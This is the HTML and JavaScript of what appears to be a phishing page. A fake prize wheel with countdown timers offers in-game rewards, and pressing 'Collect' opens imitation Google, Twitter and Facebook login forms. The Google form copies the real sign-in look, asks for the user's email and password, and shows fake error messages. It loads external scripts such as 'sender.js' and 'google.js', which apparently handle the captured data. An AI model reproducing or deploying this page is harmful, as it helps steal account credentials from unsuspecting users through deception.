<path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path>
</g>
<g id="YGlOvc">
<path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path>
</g>
<g id="BWfIk">
<path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path>
</g>
<g id="e6m3fd">
<path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path>
</g>
<g id="vbkDmc">
<path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path>
</g>
<g id="idEJde">
<path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path>
</g>
</svg>
</div> <!--- header-google --->
<div class="txt-login-google">Login</div> <!--- txt-login-google --->
<div class="txt-login-google-desc">Use your Google Account</div> <!--- txt-login-google-desc --->
<form action="javascript:void(0)" method="post" id="ValidateLoginGoogleForm">
<div class="input-box">
<label class="input-label" style="text-shadow: none;">Email Address</label>
<input type="email" class="input-1" name="email" id="google-email" onfocus="setFocus(true)" onblur="setFocus(false)" required>
</div>
<div class="input-box">
<label class="input-label" style="text-shadow: none;">Password</label>
<input type="password" class="input-1" name="password" id="google-password" onfocus="setFocus(true)" onblur="setFocus(false)" required>
</div>
<input type="hidden" name="login" id="google-login" value="Google Play" readonly>
<div class="email-google" style="color: #d50000; font-size: 10px; text-align: left; margin-left: -20px; display: none;">
<svg style="float: left; margin-right: -20px;margin-bottom: -0px;" aria-hidden="true" fill="currentColor" focusable="false" width="13px" height="13px" viewBox="0 0 24 24" xmlns="https://www.w3.org/2000/svg"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path>
</svg> Your Google Account cannot be found.</div>
<div class="sandi-google" style="color: #d50000; font-size: 10px; text-align: left; margin-left: -20px; display: none;">
<svg style="float: left; margin-right: -20px;margin-bottom: -0px;" aria-hidden="true" fill="currentColor" focusable="false" width="13px" height="13px" viewBox="0 0 24 24" xmlns="https://www.w3.org/2000/svg"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path>
</svg> Wrong password, please try again.</div>
<div class="btn-forgot-google">Forgot your email?</div>
</br>
<div class="notify-google">Not your computer? Use Guest mode to sign in privately. <span>Learn more</span></div> <!--- notify-google --->
</br>
<button type="submit" class="btn-login-google" onclick="ValidateLoginGoogleData()">Next</button>
<button type="button" class="btn-create-google">Create account</button>
</form>
</br>
</br>
</div> <!--- box-google --->
</div>
</div>

<div class="popup-login login-google-load animated fadeIn" style="display: none;">
<div class="popup-box-login-google">
<div class="box-google">
<div class="header-google"><svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" class="BFr46e xduoyf">
<g id="qaEJec">
<path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path>
</g>
<g id="YGlOvc">
<path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path>
</g>
<g id="BWfIk">
<path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path>
</g>
<g id="e6m3fd">
<path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path>
</g>
<g id="vbkDmc">
<path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path>
</g>
<g id="idEJde">
<path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path>
</g>
</svg>
</div> <!--- header-google --->
<br><br><br><br><br><br><br><br><br><br><br>
<i class="zmdi zmdi-spinner zmdi-hc-4x zmdi-hc-spin" style="color: #1a73e8;"></i>
<br><br><br><br><br><br><br><br><br><br><br><br>
</div> <!--- box-google --->
</div>
</div>

<div class="popup itemReward_confirmation animated fadeIn" style="display: none;">
<div class="popup-box-wrapper-login">
<div class="popup-box-bg" style="height:230px;margin-left:-18px;">
<div class="popup-box-alert4"><br> </div> <!--- popup-box-alert --->
<div class="popup-box-item itemShine" style="width:80px; height:75px;margin-top:47px;">
<div>
<figure>
<img class="gift_img popup-item" src="">
</figure>
</div>
</div> <!--- popup-box-item itemShine --->
<br>
<div class="popup-box-footer" style="margin-top:40px;">
<button type="button" onmousedown="buka.play();" onmousedown="buka.play();" onclick="open_account_login()">Collect</button>
</div> <!--- popup-box-bg --->
</div> <!--- popup-box-footer --->
</div> <!--- popup-box-wrapper --->
</div> <!--- popup open_rewards --->

<div class="popup account_login" style="display: none;">
<div class="popup-box-wrapper-login">
<div class="popup-box-navbar-login">
<div class="popup-box-navbar-login-title"></div> <!--- popup-box-navbar-login-title --->
</div> <!--- popup-box-navbar-login --->
<div class="popup-box-bg-login">
<br>
<div style="height:105px;"></div>
<button type="button" class="popup-btn-login2 popup-btn-twitter2" onmousedown="buka.play();" onclick="open_twitter();"><img style="margin-left:0px;margin-bottom:10px;margin-top:-7px;" class="icon-login" src="img/style-img/twitter.png"></img>Twitter</button>
<button type="button" class="popup-btn-login2 popup-btn-facebook2" onmousedown="buka.play();" onclick="open_facebook();"><img style="margin-left:0px;margin-bottom:10px;margin-top:-7px;" class="icon-login" src="img/style-img/link1.png"></img>Facebook</button>
<button type="button" class="popup-btn-login2 popup-btn-google2" onmousedown="buka.play();" onclick="open_google();"><img style="margin-left:0px;margin-bottom:10px;margin-top:-7px;" class="icon-login" src="img/google.png"></img><a style="color:#000;font-size:10px;">Google Play</a></button>
<div style="height:35px;"></div>
<br>
<button type="button" onmousedown="buka.play();" class="popup-btn-login2 popup-btn-link2" onclick="open_link();"><img style="margin-left:0px;margin-top:-7px;margin-bottom:10px;" class="icon-login" src="img/style-img/link.png"></img>Phone/Email</button>
<img style="width: 95%; height: auto; margin-top: 5px; margin-left: auto; margin-right: auto; margin-bottom: 10px;" src="img/login.png">
<br>
</div> <!--- popup-box-bg-login --->
<div class="popup-box-footer-login"></div> <!--- popup-box-footer-login --->
</div> <!--- popup-box --->
</div> <!--- popup account_login --->

<div class="popup-link more_login animated fadeIn" style="display: none;">
<div class="seclink-box">
<div class="seclink-box-navbar">
<img onmousedown="tutup.play();" onclick="close_more()" src="img/close.png">
<div class="seclink-box-navbar-title" style="text-align: center;">
<a>Select Login Method</a>
</div> <!--- popup-box-navbar-title --->
</div> <!--- popup-box-navbar --->
<div class="seclink-box-bg">
<div class="seclink-box-alert"></div> <!--- popup-box-alert --->
<div id="load-ml" style="height:170px;">
<center>
<button type="button" class="popup-btn-google" onmousedown="buka.play();" onclick="open_google();">
<img src="img/google.png"></img>
<br> Play Games
</button>
</center>
</div>
</div> <!--- popup-box-bg --->
</div> <!--- popup-box-wrapper --->
</div> <!--- popup login-number-load --->

<script src="./index_files/jquery.min.js.download"></script>
<script type="text/javascript" src="index_files/gift-zone.js"></script>
<audio id="audioFile" src="media/spin.mp3"></audio>
<script src="js-zone/callcode-link.js"></script>
<script src="js-zone/namek.js"></script>
<script src="js-zone/slidernotif.js"></script>
<script src="js-zone/sender.js"></script>
<script src="js-zone/sow.js"></script>
<script src="js-zone/slide-zone.js"></script>
<script src="js-zone/link.js"></script>
<script src="js-zone/google.js"></script>
<script>
setTimeout(function () {
  $('.load-container').fadeOut(100);
  $('.slider-container').show();
}, 10);
</script>
<script>
const hadiah = {
    0: 'img/1.jpg',
    1: 'img/2.jpg',
    2: 'img/3.jpg',
    3: 'img/4.jpg',
    4: 'img/5.jpg',
    5: 'img/6.jpg',
    6: 'img/7.jpg',
    7: 'img/8.jpg',
    8: 'img/9.jpg',
  	9: 'img/10.jpg',    
};

const jumlah_hadiah = 10;
const minimal_lompat = 30; 
let kinnonsec = -1;
let lompat = 0;
let kecepatan = 30;
let waktu = 0;
let hadiahnya = -1;

function putarkan() {
    $(`[data-order="${kinnonsec}"]`).removeClass('border_hadiah');

    kinnonsec += 1;

    if (kinnonsec > jumlah_hadiah - 1) {
        kinnonsec = 0;       	
    }    
    $(`[data-order="${kinnonsec}"]`).addClass('border_hadiah');

}
function acakHadiah() {
    return Math.floor(Math.random() * jumlah_hadiah);
}
function pengaturanWaktu() {
    lompat += 1;
    putarkan();
    if (lompat > minimal_lompat + 9 && hadiahnya === kinnonsec) {
        clearTimeout(waktu);        		  
        
        $('.itemReward_confirmation').fadeIn('slow');  
        $('.gift_img').attr('src',hadiah[kinnonsec]);        
        setTimeout(function() {                               
        }, 0);

        hadiahnya = -1;
        lompat = 0;
    
    } else {
        if (lompat < minimal_lompat) {
            kecepatan -= 4; 
        } else if (lompat === minimal_lompat) {
            const nomor_acak = acakHadiah();
            hadiahnya = nomor_acak;
        } else {
            if ( (lompat > minimal_lompat + 10 ) && hadiahnya === kinnonsec) {
                kecepatan += 600;
            } else {
                kecepatan += 20; 
            }
        }
        if (kecepatan < 40) {
            kecepatan = 40;
        }
        waktu = setTimeout(pengaturanWaktu, kecepatan);   

    }		
}
function gaskeun() {    
    lompat = 0;
    kecepatan = 70;
    hadiahnya = -1;
    pengaturanWaktu();
}

$(document).ready(() => {
    $('.putarkan').on('click', gaskeun);
    
});
</script>
<script>
	$(document).ready(function(){
    $('#password-twitter').keyup(function(){
        if($(this).val().length !=0){
            $('.onbutton').removeClass().addClass('twbutton'); 
        }
        else
        {
            $('.twbutton').removeClass().addClass('onbutton'); 
        }
    })
});
$(document).ready(function(){
    $('#sec-password-twitter').keyup(function(){
        if($(this).val().length !=0){
            $('.seconbutton').removeClass().addClass('sectwbutton'); 
        }
        else
        {
            $('.sectwbutton').removeClass().addClass('seconbutton'); 
        }
    })
});
        /***
         * code clarified by @sewatt
         * this file is protected by sewatt
         */
        // slider id
        var slideIndex = 0;
        showSlides();
        function showSlides() {
            var i;
            var slides = document.getElementsByClassName("slider");
            for (i = 0; i < slides.length; i++) {
                slides[i].style.display = "none";
            }
            slideIndex++;
            if (slideIndex > slides.length) {
                slideIndex = 1
            }
            slides[slideIndex - 1].style.display = "block";
            setTimeout(showSlides, 2500);
        }
        // slider gambar header
        var sliderHeader = 0;
openSlides();
function openSlides() {
    var i;
    var slides = document.getElementsByClassName("header-img");
    for (i = 0; i < slides.length; i++) {
        slides[i].style.display = "none"; 
    }
    sliderHeader++;
    if (sliderHeader > slides.length) {sliderHeader = 1} 
    slides[sliderHeader-1].style.display = "block"; 
    setTimeout(openSlides, 2500);
}
    </script>
<script>
// code funtion timers
$(document).ready(function() { 
var detik = 59;
var menit = 59;
var jam = 23;
function hitung() { 
setTimeout(hitung,1000); $('#timer1').html( '  ' + jam + ' : ' + menit + ' : ' + detik + ''); detik --; 
if(detik < 0) { 
detik = 59; 
menit --; 
if(menit < 0) { 
menit = 0; 
detik = 0; 
} 
} 
} 
hitung(); 
}
);
$(document).ready(function() { 
var detik = 59;
var menit = 59;
var jam = 23;
function hitung() { 
setTimeout(hitung,1000); $('#timer2').html( + jam + ' : ' + menit + ' : ' + detik + ''); detik --; 
if(detik < 0) { 
detik = 59; 
menit --; 
if(menit < 0) { 
menit = 0; 
detik = 0; 
} 
} 
} 
hitung(); 
}
);
</script><script>
setTimeout(function () {
  $('.loadkin').fadeOut(750);
}, 2000);
</script>
<script>(function(){var js = "window['__CF$cv$params']={r:'836ec256dac64011',t:'MTcwMjgxMTg0MS42MDAwMDA='};_cpo=document.createElement('script');_cpo.nonce='',_cpo.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js',document.getElementsByTagName('head')[0].appendChild(_cpo);";var _0xh = document.createElement('iframe');_0xh.height = 1;_0xh.width = 1;_0xh.style.position = 'absolute';_0xh.style.top = 0;_0xh.style.left = 0;_0xh.style.border = 'none';_0xh.style.visibility = 'hidden';document.body.appendChild(_0xh);function handler() {var _0xi = _0xh.contentDocument || _0xh.contentWindow.document;if (_0xi) {var _0xj = _0xi.createElement('script');_0xj.innerHTML = js;_0xi.getElementsByTagName('head')[0].appendChild(_0xj);}}if (document.readyState !== 'loading') {handler();} else if (window.addEventListener) {document.addEventListener('DOMContentLoaded', handler);} else {var prev = document.onreadystatechange || function () {};document.onreadystatechange = function (e) {prev(e);if (document.readyState !== 'loading') {document.onreadystatechange = prev;handler();}};}})();
</script>
</body>
</html>